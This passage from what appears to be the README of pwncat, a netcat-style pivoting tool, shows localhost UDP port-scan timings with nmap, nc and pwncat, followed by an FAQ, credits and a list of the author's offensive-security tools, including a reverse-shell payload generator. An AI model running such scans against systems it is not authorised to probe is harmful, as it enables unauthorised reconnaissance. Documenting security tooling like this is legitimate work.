  39856/udp open|filtered unknown
  40488/udp open|filtered unknown
  Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds
  real    2m52.446s
  user    0m0.844s
  sys     0m2.571s
  ```

  ```bash
  $ time nc  -z localhost 1-65535  -u -4 -v
  Connection to localhost 68 port [udp/bootpc] succeeded!
  Connection to localhost 631 port [udp/ipp] succeeded!
  Connection to localhost 1053 port [udp/*] succeeded!
  Connection to localhost 5353 port [udp/mdns] succeeded!
  Connection to localhost 39856 port [udp/*] succeeded!
  real    0m18.734s
  user    0m1.004s
  sys     0m2.634s
  ```

  ```bash
  $ time pwncat -z localhost 1-65535 -u -4
  Scanning 65535 ports
  [+]    68/UDP open   (IPv4)
  [+]   631/UDP open   (IPv4)
  [+]  1053/UDP open   (IPv4)
  [+]  5353/UDP open   (IPv4)
  [+] 39856/UDP open   (IPv4)
  real    0m7.309s
  user    0m6.465s
  sys     0m4.794s
  ```

  **See complete FAQ here:** https://docs.pwncat.org/en/latest/faq.html
  **Q**: Is `pwncat` compatible with `netcat`?
  **A**: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode.
  You can even mix `pwncat` with `netcat`, `ncat` or similar tools.
  **Q**: Does it work on X?
  **A**: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see [integration tests](https://github.com/cytopia/pwncat/actions)).
  **Q**: I found a bug / I have to suggest a new feature! What can I do?
  **A**: For bug reports or enhancements, please open an issue [here](https://github.com/cytopia/pwncat/issues).
  **Q**: How can I support this project?
  **A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details.

  <table>
   <thead>
    <tr>
     <th>Type</th>
     <th>Artist</th>
     <th>Image</th>
     <th>License</th>
    </tr>
   </thead>
   <tbody>
    <tr>
     <td>Logo</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/logo.png"><img src="art/logo.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 1</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-1.png"><img src="art/banner-1.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner"  /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
    <tr>
     <td>Banner 2</td>
     <td><a href="https://github.com/maifz">maifz</a></td>
     <td><a href="art/banner-2.png"><img src="art/banner-2.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
     <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" /></a></td>
    </tr>
   </tbody>
  </table>

  Below is a list of sec tools and docs I am maintaining.
  | Name                 | Category             | Language   | Description |
  |----------------------|----------------------|------------|-------------|
  | **[offsec]**         | Documentation        | Markdown   | Offsec checklist, tools and examples |
  | **[header-fuzz]**    | Enumeration          | Bash       | Fuzz HTTP headers |
  | **[smtp-user-enum]** | Enumeration          | Python 2+3 | SMTP users enumerator |
  | **[urlbuster]**      | Enumeration          | Python 2+3 | Mutable web directory fuzzer |
  | **[pwncat]**         | Pivoting             | Python 2+3 | Cross-platform netcat on steroids |
  | **[kusanagi]**       | Payload Generator    | Python 3   | Bind- and Reverse shell payload generator |
  | **[badchars]**       | Reverse Engineering  | Python 2+3 | Badchar generator |
  | **[fuzza]**          | Reverse Engineering  | Python 2+3 | TCP fuzzing tool |
  | **[docker-dvwa]**    | Playground           | PHP        | DVWA with local priv esc challenges |
  [offsec]: https://github.com/cytopia/offsec
  [header-fuzz]: https://github.com/cytopia/header-fuzz
  [smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
  [urlbuster]: https://github.com/cytopia/urlbuster
  [pwncat]: https://github.com/cytopia/pwncat
  [kusanagi]: https://github.com/cytopia/kusanagi
  [badchars]: https://github.com/cytopia/badchars
  [fuzza]: https://github.com/cytopia/fuzza
  [docker-dvwa]: https://github.com/cytopia/docker-dvwa

  See **[Contributing guidelines](CONTRIBUTING.md)** to help to improve this project.

  This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

  **[MIT License](LICENSE.txt)**
  Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**


